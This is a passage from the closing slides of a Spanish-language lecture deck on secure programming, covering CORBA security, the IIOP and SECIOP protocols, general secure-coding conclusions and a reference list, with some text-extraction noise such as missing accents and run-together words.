    Ot t d CORBAS

  • 5/21/2018 Program Ac i on Segura

    100/107

    Otros aspectos inherentes a seguridad en sistemasdistribuidos:

    Seguridad al nivel de granularidad de los objetos

    DelegacinDefinicin de dominios de seguridad que nocorresponden con dominios de administracin desistemas (jerarquas, federaciones)Interoperabilidad con otros sistemas de objetos

    (DCOM, EJB)Si las aplicaciones incluyen acciones relacionadascon seguridad o no.

    Otros aspectos de CORBASec

    Seguridad a todo nivel

  • 5/21/2018 Program Ac i on Segura

    101/107

    Las propuestas de la OMG para proveer seguridad enCorba se centran en definir mecanismos para el accesoseguro a objetos

    La necesidad de proteger todo tipo de informacin (no slola que se provee por medio del modelo de objetosdistribuidos) hace necesario pensar en protecciones msgenerales

    Estos mecanismos de proteccin general afectan laimplantacin y el desempeo de sistemas distribuidos

    Seguridad a todo nivel

  • 5/21/2018 Program Ac i on Segura

    102/107

    En un esquema cliente/servidor la conexin esiniciada siempre por el cliente, usando sockets

    directamente, RPC, RMI, etc.

    En Corba, al ser un conjunto de objetos distribuidosinteroperando libremente, el cliente y el servidorpueden intercambiar roles dinmicamente al momento de

    establecer cada conexin se debe localizar el objetoreferenciado, resultando en operaciones de consulta aservidores de nombres

    Sistemas de objetos distribuidos

    Implementacin de llamadas

  • 5/21/2018 Program Ac i on Segura

    103/107

    IIOP: Internet Inter ORB ProtocolIIOP = GIOP (+ CDR) + TCP/IPSe define una estructura de localizacin en Internet,llamada IOR (Internet Object Reference)

    Los tipos de mensaje definidos estn mapeados enfunciones que realizan el envo sobre TCP/IP, tpicamenteusando la interfaz de socketsNo se define un puerto bien conocido para el servidor,

    ms bien se establece que puede haber varios servidoresen el mismo hostIIOP puede ir codificado sobre SSL

    p e e tac de a adasCORBA: IIOP

    IIOP seguro: SECIOP

  • 5/21/2018 Program Ac i on Segura

    104/107

    -Especificado en CORBAsec

    -Define extensiones a IIOP que lo hacenconscientede aspectos de seguridad

    -El protocolo incluye aspectos de autentificacinbasado en credenciales, para estableces asociaciones

    - El trfico se encripta en una subcapa del protocoloSECIOP llamada GSSAPI, por lo que no se requierede SSL debajo

    IIOP seguro: SECIOP

    SECIOP vs IIOP/SSL

  • 5/21/2018 Program Ac i on Segura

    105/107

    - IIOP/SSL tiene un mayor nivel de difusin,debido a que SSL es una tecnologa madura

    - SECIOP permite autentificar a nivel de objetos,SSL a nivel de conexin

    - En casos en que el acceso a cada objeto va por unaconexin separada, ambos ofrecen el mismo poder

    - En caso de hacer tunneling debido, por ejemplo, arestricciones de NAT, SECIOP sigue manteniendo lagranularidad a nivel de objetos, SSL no

    SECIOP vs. IIOP/SSL

    Conclusiones

  • 5/21/2018 Program Ac i on Segura

    106/107

    Extensin del rol de la seguridad

    Revisin de las arquitecturas, APIS, Frameworks,clases, paquetes.

    Conciencia del buenprogramador

    Reutilizacin de componentes de seguridad(Autenticacin, Criptografa, Certificados, Firmas )

    Entornos privativos y Libre ofrecen soporte paraaplicaciones seguras.

    NO olvidar manejo de memoria, pilas, buffers

    Referencias

  • 5/21/2018 Program Ac i on Segura

    107/107

    Java Cryptography Architecture. API Specifications & Reference,

    http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html

    Jan Kleindienst. CORBA and Java Compared: Security. Dept. ofComputer Science,Faculty of Mathematic and Physic,Charles

    University, Prague

    The Open Web Application Security Project http://www.owasp.org/

    SecurityFocus http://www.securityfocus.org/

    Help Net Security http://www.net-security.org/

    Secure Coding http://www.securecoding.org/list/

    http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.htmlhttp://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.htmlhttp://www.owasp.org/http://www.securityfocus.org/http://www.net-security.org/http://www.securecoding.org/list/http://www.securecoding.org/list/http://www.net-security.org/http://www.net-security.org/http://www.net-security.org/http://www.securityfocus.org/http://www.owasp.org/http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.htmlhttp://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html